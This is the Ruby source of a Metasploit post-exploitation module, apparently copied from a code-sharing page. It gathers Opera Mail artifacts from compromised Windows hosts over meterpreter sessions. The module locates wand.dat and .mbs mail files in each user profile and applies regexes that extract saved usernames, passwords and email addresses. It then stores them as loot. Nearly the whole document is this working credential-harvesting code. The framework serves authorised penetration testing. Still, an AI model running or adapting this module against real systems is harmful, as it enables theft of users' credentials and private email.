Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7

8
  # this associative array defines the artifacts known to PackRat
9
  include Msf::Post::File
10
  include Msf::Post::Windows::UserProfiles
11
  include Msf::Post::Windows::Packrat
12
  ARTIFACTS =
13
    {
14
      application: 'operamail',
15
      app_category: 'emails',
16
      gatherable_artifacts: [
17
        {
18
          filetypes: 'chats_image',
19
          path: 'AppData',
20
          dir: 'Opera Mail',
21
          artifact_file_name: 'wand.dat',
22
          description: "Opera-Mail's saved Username and Passwords",
23
          credential_type: 'text',
24
          regex_search: [
25
            {
26
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
27
              extraction_type: 'credentials',
28
              regex: [
29
                '(?i-mx:password.*)',
30
                '(?i-mx:username.*)'
31
              ]
32
            },
33
            {
34
              extraction_description: 'searches for Email TO/FROM address',
35
              extraction_type: 'Email addresses',
36
              regex: [
37
                '(?i-mx:to:.*)',
38
                '(?i-mx:from:.*)'
39
              ]
40
            }
41
          ]
42
        },
43
        {
44
          filetypes: 'email_logs',
45
          path: 'LocalAppData',
46
          dir: 'Opera Mail',
47
          artifact_file_name: '*.mbs',
48
          description: "Opera-Mail's Emails",
49
          credential_type: 'text',
50
          regex_search: [
51
            {
52
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
53
              extraction_type: 'credentials',
54
              regex: [
55
                '(?i-mx:password.*)',
56
                '(?i-mx:username.*)'
57
              ]
58
            },
59
            {
60
              extraction_description: 'searches for Email TO/FROM address',
61
              extraction_type: 'Email addresses',
62
              regex: [
63
                '(?i-mx:to:.*)',
64
                '(?i-mx:from:.*)'
65
              ]
66
            }
67
          ]
68
        }
69
      ]
70
    }.freeze
71

72
  def initialize(info = {})
73
    super(
74
      update_info(
75
        info,
76
        'Name' => 'Operamail credential gatherer',
77
        'Description' => %q{
78
          PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
79
          PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
80
          Further details can be found in the module documentation.
81
          This is a module that searches for Operamail credentials on a windows remote host.
82
        },
83
        'License' => MSF_LICENSE,
84
        'Author' => [
85
          'Kazuyoshi Maruta',
86
          'Daniel Hallsworth',
87
          'Barwar Salim M',
88
          'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org
89
        ],
90
        'Platform' => ['win'],
91
        'SessionTypes' => ['meterpreter'],
92
        'Notes' => {
93
          'Stability' => [CRASH_SAFE],
94
          'Reliability' => [],
95
          'SideEffects' => []
96
        }
97
      )
98
    )
99

100
    register_options(
101
      [
102
        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
103
        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
104
        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
105
        # enumerates the options based on the artifacts that are defined below
106
        OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
107
      ]
108
    )
109
  end
110

111
  def run
112
    print_status('Filtering based on these selections:  ')
113
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
114
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
115
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
116

117
    # used to grab files for each user on the remote host
118
    grab_user_profiles.each do |userprofile|
119
      run_packrat(userprofile, ARTIFACTS)
120
    end
121

122
    print_status 'PackRat credential sweep Completed'
123
  end
124
end
125

126